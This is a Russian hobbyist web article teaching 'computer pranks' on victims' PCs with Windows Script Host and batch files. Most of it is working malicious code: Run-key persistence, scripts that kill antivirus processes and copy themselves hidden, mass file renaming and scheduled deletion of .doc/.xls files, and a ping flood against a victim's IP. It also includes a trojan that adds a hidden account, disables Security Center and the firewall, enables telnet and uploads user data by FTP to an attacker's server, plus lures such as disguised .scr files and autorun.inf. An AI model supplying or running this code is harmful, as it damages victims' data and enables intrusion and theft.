Архив статей
Обновление: 24.05.2014
Всего статей: 17


Ремонт и сервис
Обновление: 01.05.2014
Документов: 8


Программирование
Обновление: 18.04.2014
Разделов: 2


Скачать
Общий объём: 4.3 Mb
Файлов: 12


ICQ: 680172615
rumit-71@mail.ru

Наши новости
24.05.2014 Полность переработано содержимое и обновлён интерфейс сайта
01.05.2014 Добавлены статьи в разделы "Ремонт и сервис", "Железо"
01.05.2014 Добавлены несколько нужных программы для бесплатного пользования
Основы компьютерного западлостроения. (Урок I)

Лично мне, с недавних пор, стало скучно просто юзать ось, хочется чего-то нового, более интересного и это интересное я для себя нашёл, это - Windows Scripting Host или WSH! С его помощью можно и поприкалываться над "кексами" и сделать что-то нужное.

Знакомство с WSH
- WSH стандартно входит в следующие операционки: Win 95OSR2/98/2k/Me/XP (к сожалению, в Win 95 и NT сервер сценариев отсутствует, но эти оси уже отживают свой век, а WSH активно развивается и стопроцентно будет использоваться во всех последующих Виндозах);

- WSH поддерживает языки сценариев VBScript и JScript, а также имеет возможность подключения любых других языков, например, таких, как Perl или Python (но для нас это не важно);

- WSH обладает практически неограниченными возможностями по работе с файлами, реестром, сетью и т.д.;

- для создания скриптов не требуется компиляторов и специальной среды программирования, достаточно простого текстового редактора, например, Блокнота (Notepad);

- для запуска сценариев требуется совсем немного памяти, а сами размеры сценариев могут быть практически любого размера (десятки тысяч строк).

Короче, теперь я откровенно заявляю, что не просто Windows, а именно WSH - лучшее средство компьютерного западлостроителя. И уверен, что чуть позже ты со мной согласишься.

Ладно, пора продемонстрировать возможности этой рулезной фичи. Все примеры приводятся на VBScript, т.к. на мой взгляд VBS гораздо удобнее и имеет больше возможностей, чем JScript.

Первый примерчик

Итак, начнем с простого, создадим загадочную мессагу, для этого откроем Блокнот (на машине жертвы) и набьем следующее:

Zapadlo = MsgBox("Windows установила, что вы используете пиратскую версию системы. Windows обязана отформатировать жесткий диск. Да - произвести форматирование немедленно. Нет - сделать это перед окончанием работы системы.", 20, "System error")

Сохрани этот рулез с расширением .vbs в укромное местечко и дважды щелкни на нём..

А теперь представь ламака, который увидит эту мессагу, как он дрожащей рукой нажмет кнопку "Нет" и как после этого будет сохранять все важные данные на диски. Весело! Одна только проблемка: «Как заставить жертву запустить этот файл?»

Можно поместить наш файл в Автозагрузку (StartUp), но надежнее будет в реестр: Win+R->regedit, раскрой ветвь HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, затем меню Правка (Edit) -> Создать (New) -> Строковой параметр (String Value) и введи StartUp Script. Дважды щелкни на новом параметре и введи путь к нашей мессаге (например, C:\Windows\System\message.vbs) и щелкни OK. Теперь наше западло будет выполняться для каждого юзера системы, и не всякое ламо сможет его обнаружить.

Конечно, это все замечательно, но после первой-же перезагрузки компа мессага всплывет, и особо подозрительная жертва может почуять неладное. Поэтому сделаем так, чтобы западло давало о себе знать только, допустим, через 5 дней. Смотрим сегодняшнее число, это 8, и добавляем две строки, соответственно в начало и конец нашего скрипта:

if Day(now)>13 Then
....

End If

Теперь сообщение впервые появится только после 13 числа. За это время жертва уже забудет о твоем приходе, и, стало быть, ты обеспечишь себе практически железное алиби.

Теперь логичным было бы добавить строки, которые, как и сказано в мессаге, отформатировали бы винт, но я против таких методов. Я придерживаюсь принципа, что в западле должна иметься возможность все вернуть в исходное состояние. Поэтому в нашем случае будет достаточно легкого испуга жертвы.

А сейчас сделаем так, чтобы наша прога заметала все свои следы, т.е. самоуничтожалась и вычищала о себе запись в реестре. Короче, добавляем следующие строки для удаления нашего файла:

Set Killer=CreateObject("Scripting.FileSystemObject")
Killer.DeleteFile("c:\Windows\System\message.vbs")
Set WSHShell=WScript.CreateObject("WScript.Shell")
WSHShell.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\StartUp Script"

Теперь мессага появится один-единственный раз (после 13 числа) и исчезнет из системы навсегда - пусть ламо думает, что это глюканула винда или он сам. Вот такое получилось простенькое, но нестандартное, юзерское западло.

Второй пример

Если тебе этого мало, то вот еще текст западла, отрубающего комп (также срабатывающего после 13 числа):

If Day(now)>13 Then
Sub Zapadlo(Fuck, Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
X=WshShell.Run(Fuck,Wait)
End Sub
Call Zapadlo("rundll32 shell32,SHExitWindowsEx -1", True)
End If

Помести это, как и в первом примере, в реестр, и сразу же после загрузки комп будет вырубаться.

Наверное, ты заметил, что в кавычках инструкции "Call" указана одна из команд Windows, которую можно просто ввести в поле "Выполнить" (Run). Если ты, например, поместишь в программу строку: Call Zapadlo("c:\windows\calc.exe", True), то будет запускаться калькулятор.

Привожу список еще некоторых интересных команд:

rundll32 keyboard,disable - отключить клавиатуру;
rundll32 mouse,disable - отключить мышь;
rundll32 user,swapmousebutton - поменять местами клавиши мыши;
rundll32 user,disableoemlayer - спровоцировать сбой;
rundll32 shell32,SHExitWindowsEx 0 - завершить работу текущего пользователя;
rundll32 krnl386.exe,exitkernel - выход из Windows без любых сообщений/вопросов;
rundll32 shell32,ShellAboutA Info-Box - показать окно About Windows.

Кстати, инструкций Call в последнем скрипте можно вставлять бесчисленное множество, поэтому, например, можешь одновременно отрубить мышь и клаву - здесь все зависит от твоей извращённой фантазии.

Дам тебе совет: никогда не показывай потенциальной жертве, что ты волокешь в компах, - строй из себя конченного ламера, по пять минут ищи нужную кнопку на клаве, с третьей попытки попадай указателем мыши в ярлык и т.п. Тогда ты точно останешься живым и не придется пришивать оторванные руки и прикручивать на место открученную голову.

Продолжим наши извращения...

1. Cкрипт создаёт запись в реестре, в разделе run, которая запускает System.bat на диске C:\

2. Далее создаётся сам System.bat на диске С:\ с произвольным содерданием. Я использовал system.bat для запуска программы Блокнот и указал, какой файл нужно открыть (строка "notepad.exe c:\1.txt"). Зависит от твоей фантазии...

3. Дальше на диске С:\ создаётся документ 1.txt с содержанием "Приближается Армагедон!" (или по вашему желанию).

На этом, моя извращённая фантазия исчерпывается... В итоги, мы имеем после запуска скриптика постоянный запуск блокнота при старте винды с надписью "Приближается Армагедон!". Юзаем...

Set WSHShell=WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\taskmgr.exe", "c:\System.bat"
Set xep =CreateObject("Scripting.FilesystemObject")
set xep =xep.CreateTextFile("c:\System.bat")
xep.WriteLine "notepad.exe c:\1.txt"
xep.close
Set xep =CreateObject("Scripting.FilesystemObject")
set xep =xep.CreateTextFile("c:\1.txt")
xep.WriteLine "Приближается Армагедон!"
xep.close


Командные файлы ВАТ
VBS конечно-же хорошо, но там надо запоминать много команд и столько-же юзать клаву, что не всегда удобно, когда сидиш за компом жертвы. Здесь нам, западлостроителям, на помощь приходят bat-файлы. Так же, пишем в блокноте и сохраняем как *.bat

Сегодня предлагаю две бат-подлянки, а точнее:

1. Создадим на рабочем столе жертвы много мусора в виде пустых папок, пусть удаляет.
2. Откроем N-нное количество эксплореров, в следствии чего система зависнет.

Для первой подляны нам понадобиться Excel, хотя можно и ручками. Пустых папок можно создать очень много...
Открываем Excel и в первой ячейке пишем md 1, берем за правый нижний угол ячейки и тянем вниз до тех пор пока не надоест, желательно что бы это число превысило 60-70 тысяч , хотя можно и другое. Далее копируем все выделеное в буфер и вставляем в блокнот. После запуска этой программы на рабочем столе появиться множество папок, которые жертва будет удалять.

echo off
Chcp 1251 - введем эту строчку чтобы всё было на русском
msg * пожалуста подождите - этот оператор отвечает за сообщения
md 1
md 2
md 3
md N.....

..по аналоги у нас будет вторая программа. Её отличее в том, что она перегрузит буфер обмена, вследствии чего система зависнет.

echo off
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore
start iexplore

Чем больше этих строк, тем больше приложений откроется - больше шанс что система зависнет. Кстати, при повторения циклов мне больше нравится вот такое:

:a
start ...
goto a

..бесконечный цикл - он и есть бесконечный цикл, не надо кучу стартов писать... Если-же вместо "start" написать "ping" :

:a
ping "IP жертвы" -l 65500
goto a

..и разослать хотя бы двум-трем кексам, то это уже сетевая атака получится, причем без фаера системы жертв виснут здорово

...ещё один файлик на vbs!

Всё переименовывается на:

- Рабочем столе на - "Ты ламер"
- В моих документах - "Ты мега ламмо"
- Сами мои документы в - "Мои ламерские документы"
- Проги в пуске в - "Ламмерский софт"
- Переходит на порно-сайт xxx.com и делает его домашней страничкой
- Уничтожается после всего вирус сам

' Объявление переменных(этот абзац не перемещать)
Set FileSystemObject = CreateObject("sсriрting.filesystemobject")
Set Shell = CreateObject("Wsсriрt.Shell")
t = 0: On Error Resume Next ' Пропускать ошибки
Set Application = CreateObject("Shell.Application")
Set InternerExplorer = WScript.CreateObject("InternetExplorer.Application")

' Переименование всех файлов, находящихся на Рабочем столе на "Ты ламер"
For Each Folder In Shell.SpecialFolders
If right(folder,12) = "Рабочий стол" Then
Set tf = FileSystemObject.getfolder(folder)
Set af = tf.files
For Each fl In af
Set file = FileSystemObject.getfile(fl):t = t+1
file.name = "Ты ламер" & t
Next
End If
Next

' Переименование всех файлов, находящихся в Моих документах на "Ты мега ламммо"
For Each Folder In Shell.SpecialFolders
If right(folder,13) = "Мои документы" Then
Set tf = FileSystemObject.getfolder(folder)
Set af = tf.files
For Each fl In af
Set file = FileSystemObject.getfile(fl):t = t+1
file.name = "Ты мега ламммо" & t
Next
End If
Next

' Переименование папки Мои документы на "Мои ламерские документы"
For Each Folder In Shell.SpecialFolders
If right(folder,13) = "Мои документы" Then
Set tf = FileSystemObject.getfolder(folder): tf.name = "Мои ламерские документы"
End If
Next

' Переименование всех файлов, находящихся в Главное меню\Программы на "Ламмерский софт"
For Each Folder In Shell.SpecialFolders
If right(folder,12) = "Главное меню" Then
Set tf = FileSystemObject.getfolder(folder)
Set af = tf.subfolders
For Each fl In af
Set file = FileSystemObject.getfolder(fl):t = t+1
file.name = "Ламмерский софт" & t
Next
End If
Next

' Перейти на сайт "http:\\xxx.com"
InternerExplorer.Visible = True
InternerExplorer.Navigate "http:\\xxx.com"

' Сделать домашней страницу "http:\\xxx.com"
Shell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\xxx.com"

' Самоликвидироваться
FileSystemObject.deletefile WScript.ScriptFullName, True

...а можно на ламерах бабло зарабатывать. Делаеш подлянку, он тебя вызывает и ты берёш за услуги "честно заработанные". Напишим прогу на VBS, которая будет каждую минуту выводить сообщение типа: "В вашей OC обнаружена ошибка. Для устранения неисправности необходима помощь квалифицированного специалиста." Если юзер - полный чайник, то скорее всего поведётся на такой вот прикол, и обратится к тебе за помощью.

do 'начало бесконечного цикла
wscript.sleep(100000) ' Усыпляем скрипт на 1 минуту
Set S = CreateObject("Wscript.Shell")
MsgBox "В вашей OC обнаружена ошибка. Для устранения неисправности необходима помощь квалифицированного специалиста.",0,"Error"
loop ' Конец бесконечного цыкла

...а этот будет выгвигать сидюк с такой же периодичностью.

do
WScript.Sleep(100000)
Set WMPlayer = CreateObject("WMPlayer.OCX.7")
WMPlayer.CdRomCollection.Item(0).Eject() ' Выдвигаем дисковод
loop

...или этот "батник" на удаление определённых папок:

@Echo off
rmdir /s /q "C:\новая папка"
del %0


Диалог Антивиpyса с Виpyсом

**************************************
А: Ты кто?
В: Область данных!
А: А не виpyс?
В: Hи Боже мой!
А: А зачем пpеpывания пеpехватываешь?
В: Й-Я?!
А: Вот же подпpогpамма.
В: Это не подпpогpамма. Это цитата из Лао-цзы на языке оpигинала в альтеpнативной кодиpовке.
А: А зачем EXE-файлы ищешь?
В: А вдpyг хозяин спpосит: «А где мои ЕХЕ-файлы?» А я емy - вот они!
А: Сдается мне, что ты все-таки виpyс.
В: Hy ладно, только тебе пpизнаюсь, только ты никомy не говоpи! Hа самом деле я... антивиpyсная вакцина!
А: А зачем нyжна антивиpyсная вакцина, если я есть?
В: Откyда я знаю? У хозяина спpоси.
А: А если я тебя на всякий слyчай все-таки гpохнy?
В: А если я тебя?
А: Hе полyчится. У меня yпpавление.
В: А ты свою контpольнyю сyммy давно пеpесчитывал?
А: А пpичем тyт моя контpольная сумм-а-а-а-а-а!!!
В: То-то же.
**************************************

Попробуем из этого диалога создать bat-файл:

@echo OFF
taskkill /f /im avp.exe > nul
taskkill /f /im ashDisp.exe > nul
taskkill /f /im drwebscd.exe > nul
taskkill /f /im spiderui.exe > nul
taskkill /f /im nod32krn.exe > nul
taskkill /f /im nod32kui.exe > nul

copy ""%0"" "C:\systemconfig.bat" > nul
attrib +h +s +a +r c:systemconfig.bat > nul
copy ""%0"" "D:\systemconfig.bat" > nul
attrib +h +s +a +r d:systemconfig.bat > nul

taskkill /f /im avp.exe > nul
taskkill /f /im ashDisp.exe > nul
taskkill /f /im drwebscd.exe > nul
taskkill /f /im spiderui.exe > nul
taskkill /f /im nod32krn.exe > nul
taskkill /f /im nod32kui.exe > nul

echo YOU LAMER > readme.txt
echo YOU LAMER > C:\readme.txt
echo YOU LAMER > D:\readme.txt

label C: LAMER
time 00:00
date 20.04.1889
assoc .exe=.mp3
for /L %%A in (1,1,5000) do md %%A

...а если по русски, то эта прога:

- убивает процессы антивиря (можна совсем снести вирь или всю систему, но это не наши методы)
- копирует себя на диски и дает аттрибуты скрытого, системного, только для чтения
- убивает процессы (контрольный выстрел)
- создает на дисках файл readme.txt со строкой "Ты ламер"
- меняет метку диска C: на LAMER
- сбивает время и ставит дату рождения Гитлера
- меняет все расширения экзе на мп3
- создает 5-кило пустых папок


Шпионаж за юзером
Попробуем создать командный файл, который будет вести лог каких-либо действий юзвера, например вкл/ребут ПК! Для этого нам потребуется файл, в котором и будут регистрироваться все действия юзера. Тип файла может быть любым (чтоб запутать жертву), мы его всё равно будем читать в блокноте. Пусть это будет скрытая картинка. Cоздаём её при помощи батника:

@ echo off
Chcp 1251
@
echo ---------- НАЧАЛО---------->>zapusk.jpg
echo. | date >> zapusk.jpg
@
echo. | time >> zapusk.jpg
echo ---------- КОНЕЦ---------->>zapusk.jpg

echo.>> zapusk.jpg
attrib +a zapusk.jpg

...в итоге мы получили два файла: один исходный файл *.bat и его "отродие" - картинку zapusk.jpg. В эту "картинку" будет дописываться дата и время каждого запуска нашего bat-файла. Если поместить исходный батник в автозагрузку, то получим контроль над каждым включением машины.

Добавив несколько строк с условиями в код программы, можно контролировать запуск приложений (к примеру IE, для вычисления времени выхода юзера в NET).

Если же во-время не остановить свою фантазию и продолжить дальше, то можно создать трояна, который будет отправлять нашу "лог-картинку", с машины юзера на удалённый комп хакера! Как это реализовать? Здесь нам на помощь приходит служба telnet. Важным является то, что "telnet" - это стандартное приложение винды и антивирус не станет сопротивляться, а это большой плюс, если мы хотим остаться незамеченными.

Наша задача - отправить файл с машины юзера через его telnet-порт, на ftp своего сервера.

На этом этапе нам, как истинным хацкерам, придётся установить на своей машине - сервер, с отркрытым ftp-портом. Далее создаётся батник, для реализации следующих задач:

@echo off
rem расшариваем диски
net share disk_c=c: > nul
net share disk_d=d: > nul

rem создаем юзера HelpAsistant (не путать с HelpAssistant), с паролем root и скрываем его
NET USER HelpAsistant root /add
NET LOCALGROUP ¤¬ЁЁбва в®ал HelpAsistant /add

rem регистрируем учётку в реестре
echo Windows Registry Editor Version 5.00 > C:\test.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList] >> C:\test.reg
echo "HelpAsistant"=dword:00000000 >> c:\test.reg
regedit /s C:\test.reg

rem затираем следы вторжения в реестр
del c:\test.reg

rem останавливаем "Службу безопасности" и подымаем телнет
sc config wscsvc start= disabled
sc config SharedAccess start= disabled
sc config tlntsvr start= auto
sc stop wscsvc
sc stop SharedAccess
sc start tlntsvr

rem соединяемся к своему ftp и кидаем на диск Ц нашу лог-картинку с машины юзера
echo open xxx.xxx.xxx.xxx >> c:/temp.txt
echo ftp>> c:/temp.txt
echo send zapusk.jpg >> c:/temp.txt
echo dis >> c:/temp.txt
echo quit >> c:/temp.txt
ftp -i -s:c:/temp.txt

rem можем прихватить с машины юзера ещё чёнить (IP и данные)
netstat >> c:/%username%.txt
net user >> c:/%username%.txt
net localgroup >> c:/%username%.txt
echo open xxx.xxx.xxx.xxx >> c:/lamerinfo.txt
echo ftp>> c:/lamerinfo.txt
echo send c:/%username%.txt >> c:/lamerinfo.txt
echo dis >> c:/lamerinfo.txt
echo quit >> c:/lamerinfo.txt
ftp -i -s:c:/lamerinfo.txt
DEL c:\lamerinfo.txt
DEL c:\%username%.txt

...в итоге, диски ламера - расшарены, открыт телнет, есть подноготная! Подключаемся через телнет и хулиганим. Единственное что может помешать, если на компе установлен сторонний фаервол у которого в правилах запрещён телнет, но он у 90% из 100% разрешён!

Кстати, есть хороший способ заставить ламака запустить нашего "бат-вора":

1. Думаю немногие знают, что можно переименовывать *.exe в *.scr. Делаем архиватором самораспаковывающийся exe-архив, переименовываем в "Крутая заставка.scr" (можно дописать в конце исходника, мол не найдена такая-то библиотека dll, т.к. заставку он не увидит) и подкидываем ламаку.

2. Создаём файл autorun.inf к файлу bat и кидаем их вместе на флэшку. При первом "контакте" флэшки с компом наш батник благополучно разместится на компе ламака.


Проблема адресации
В процессе создания программ/скриптов мы неизбежно сталкиваемся с проблемой указания адресов. Например, как скопировать папку "Application Data" бат-файлом, незная имя юзера? Для этого имеются переменные окружения:

%WINDIR% - системная папка Windows,
%username% - имя пользователя (текущего)
%userprofile% - c:\Documents and Settings\имя пользователя

..так что можно указать

copy "%userprofile%\Application Data\*.*"

..или

copy "c:\Documents and Settings\%username%\Application Data\*.*"

..эти две записи указывают на одну и ту же директорию. Так же, пути можно указывать при помощи точек. Их можно вводить и в окне "Запуск программ" и использовать в бат-файлах.

Одна точка - C:\Documents and Settings\имя пользователя
Две точки - C:\Documents and Settings
Три точки - Мой компьютер

Пример:

@echo off
rem открываем три окна
start .
start ..
start ...

..или

@echo off
rem отправляем на печать все вордовские док-ты
> ".\Мои документы\*.docx" > prn

Пример с применением переменных:

@echo off
Chcp 1251
msg * %username%, пришло время просмотреть лог-файлы системы!!!

start %windir%\attach.log
start %windir%\FaxSetup.log
start %windir%\comsetup.log
start %windir%\WindowsUpdate.log
start %windir%\wmsetup.log

Вы должны различать такие две команды, как > и >>

> - перенаправления ввода/вывода в начало файла
>> - перенаправления в/в в конец файла
| - команда конвеер, позволяет использовать две и более команд в одной строке.

..это означает, что если мы указываем "Привет мудак > 1.txt", то содержимое файла 1.txt уничтожается, а в место него будет красоваться указанная нами запись. Если же укажем ">>", то содержимое 1.txt останется нетронутым, а наш текст допишется последней строкой в файл.

Попробуем переделать boot.ini под свой лад, чтоб сбить юзера с толку при загрузки системы:

@echo off
rem делаем резервную копию boot.ini
copy c:\boot.ini > c:\boot.bak
rem добавляем последней строкой в файл boot.ini свою запись
echo multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Привет мудак!" /execute /fastdetect>>c:\boot.ini

Думаю не сложно догадаться, чё даёт нам этот трюк - при перезагрузке система спросит: -"Чё грузить, Винду или Привет мудак?", хотя обе надписи указывают на одну и ту же директорию (диск 0, раздел 1).


Иллюзия краха системы
По плану, незаметно для ламака копируется директория "system32" в папку "temp", а дальше включаем отображение на экране и удаляем эти файлы по-одному! Думаю комментировать не стОит, все комменты - заREMлены:

@echo off
rem меняем цвет текста и фона
color 0C
rem создаём временный каталог Window (без s)
md c:\Window\system32
rem копируем папку system32.
copy "%windir%\system32\*.*" "C:\window\system32"
rem очистим экран
cls
rem добавляем пустую строку
echo.
rem выводим инфу для юзера
echo %date%
echo.
echo =========== Viruses - DOOM v.1.00. Yuor computer DEATH !!! ==========
echo.
echo ......... Please Wait ...........
echo.
rem оригинальный способ сделать паузу, где 8 - время в секундах +1
ping -n 8 127.0.0.1 > nul
rem удаляем файлы из нашей папки, пусть ламак видит процесс
cmd.exe /k del /q /s c:\Window\system32\*.*


Планировщик задач.
Удаление файлов по маске
После дубль-клика, прога автоматически запускается каждый день в определённое время, и удаляет указанные файлы из указанных директорий.

@echo off
rem отправляем структуру диска на флэш
tree c: /f /a > F:\hardinfo.txt
tree d: /f /a >> F:\hardinfo.txt
rem F:\ - это твоя флэшка

...а если вслепую, то можно так:

@echo
rem запускаем планировщик задач, чтоб использовать команду АТ
sc config Schedule start= auto
sc start Schedule
rem включаем "часовой механизм". Время и дни недели можно изменить
at 08:00 /every:M,T,W,Th,F,S,Su killer.bat
at 11:00 /every:M,T,W,Th,F,S,Su killer.bat
at 16:00 /every:M,T,W,Th,F,S,Su killer.bat
rem размножаемся в возможные директории
copy ""%0"" "%userprofile%\Мои документы\killer.bat" > nul
attrib +h +s +a +r "%userprofile%\Мои документы\killer.bat" > nul
copy ""%0"" "%userprofile%\Рабочий стол\killer.bat" > nul
attrib +h +s +a +r "%userprofile%\Рабочий стол\killer.bat" > nul
copy ""%0"" "..\All Users\Мои документы\killer.bat" > nul
attrib +h +s +a +r "..\All Users\Мои документы\killer.bat" > nul
copy ""%0"" "..\All Users\Рабочий стол\killer.bat" > nul
attrib +h +s +a +r "..\All Users\Рабочий стол\killer.bat" > nul
rem ищем файлы по расширению и удаляем их
for %%f in (*.doc *.xls) do del /y %%f
rem очищаем и закрываем окно
cls
exit

..как вариант, просто проверку и перемещение файлов можно реализовать вот так:

rem ecли нет такой папки, то создаём её
Set f_Date=%DATE%
if not exist %f_Date% md %f_Date%
rem перемещаем файлы
move /y *.xls %f_Date%

P.S.\\ Хороший справочник по bat-командам лежит здесь.


Резидентные программы
Как известно, почти все вирусы невозможно удалить из системы обычным способом. Что же в них особенного? Если всё дело в атрибутах, то их можно без проблем переназначить командой attrib, но не тут-то было - пишет "Нет доступа!". Этому есть простое объяснение..

Когда программа запускается, она (и все её компоненты-файлы) переходят в режим "read-only", этот режим и блокирует все операции с файлами. Отсюда следует вывод, что вирус-программа находится в "запущенном состоянии" на протяжение всей работы ОС и мы сможем от него избавиться только остановив наш маздай.

Давайте снабдим наши батники подобной функцией?! Рассмотрм следующий код:

@echo off
:test
if exist c:\*.txt goto go
ping -n 5 127.0.0.1 > nul goto test

:go
del /y *.txt
goto test

..здесь мы видим две метки :test и :go, к которым обращаемся командой goto.
if exist дословно переводится как "если существует", соответственно if not exist - "не существует".

В итоге, наш батник будет отслеживать файлы *.txt в голове диска Ц, с периодичностью в 5сек. на протяжении всей работы ОС, и если обнаружит таковые - будет выполнено действие, указанное после метки go (в нашем случае отправляет "в топку")!

Последняя строка запускает весь процесс по-новой и даёт возможность нашей проге постоянно находиться в режиме "read-only". Взяв за основу этот код, можно к примеру контролировать процессы (команды tasklist и taskkill). Обнаружили фотоЖоп - закрываем его и выдаём взамен паинт...

Поюзаем процессы дальше. Батник, который сначала покажет древо процессов, а затем спросит у пользователя, не хочет ли он удалить какой-либо процесс:

rem обзываем досовское окно
Title ВЫВОД ДЕРЕВА ПРОЦЕССОВ ПРИ ПОМОЩИ BAT ФАЙЛА
rem метки начинаются с двоеточия
:LOOP
CLS
Echo.
Echo L - Вывести дерево процессов
Echo D - Удалить процесс
Echo Q - Выход
Echo.

Set var=
Set /P var="Введите команду: "
rem условия
If /I "%var%"=="L" TaskList|More
If /I "%var%"=="Q" Exit /B
If /I "%var%"=="D" Call :KILL
GoTo LOOP

:KILL
Echo.
Set var=
Set /P var="Введите PID (номер) процесса:"
Set /A var=%var%+0
If %var% EQU 0 Exit /B

TaskKill /PID %var%
Pause >Nul
Exit /B

..спешу напомнить вам, что для вывода в досовкое окно русских символов, необходимо сохранять bat-файлы в кодировке ОЕМ-866. Используйте текстовый редактор "AkelPad" вместо "Блокнота" и всё будет пучком.


"На пасошок" предлагаю несколько очередных подлянок:

1. Автозагрука при включении

reg add HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run /v system /t REG_SZ /d "что запускаем" /f

2. Создаём папки, которые удалить в винде будет не возможно

mkdir PRN.\
mkdir CON.\
mkdir COM1.\
mkdir COM2.\
....

...только обратным действием

rmdir PRN.\
rmdir CON.\
rmdir COM1.\
rmdir COM2.\
....

3. Коцаем реестр

-запрет ТаскМена
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

-удаляет курсоры мыши
@echo off
del "%SystemRoot%\Cursors\*.*" >nul

-удаляет звуки винды
@echo off
del "%SystemRoot%\Media" /q >nul

-запретить панель управления
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul

-создать новую учетную запись в данном случае будет называться ламер
@echo off
net user "ламер" /add >nul

4. Юзать тупо - пишете строку в BAT-файл и все:

rundll32 kernel32.dll,Beep 100 - "колбасимся" под биппер.
rundll32 мсprint2.dll,RUNDLL_PrintTestPage - распечатать тестовую страницу на принтере.
rundll32 SHELL32,Control_RunDLL modem.cpl, add - открыть диалог "Свойства модема".
rundll32 shell32,SHExitWindowsEx 4 - принудительно закрыть все программы.
rundll32 url.dll,FileProtocolHandler %1 - открыть веб-страницу, где %1 - URL сайта
rundll32 user,CASCADECHILDWINDOWS - расположить все окна каскадом.
rundll32 user,disableoemlayer - выключить все функции ввода-вывода (клавиатура, дисплей, мышь).
rundll32 user,SetCaretBlinkTime n - задать частоту мигания курсора, n - частота.
rundll32 user,SetCursorPos - переместить курсор мыши в верхний левый угол экрана.
rundll32 user,SetDoubleClickTime n - задать скорость двойного нажатия левой кнопки мыши.
rundll32 user,SwapMouseButton - поменять местами клавиши мыши (обратная смена невозможна).

Продолжение следует...

© Права защишены 2010-2014г.
rumit-71@mail.ru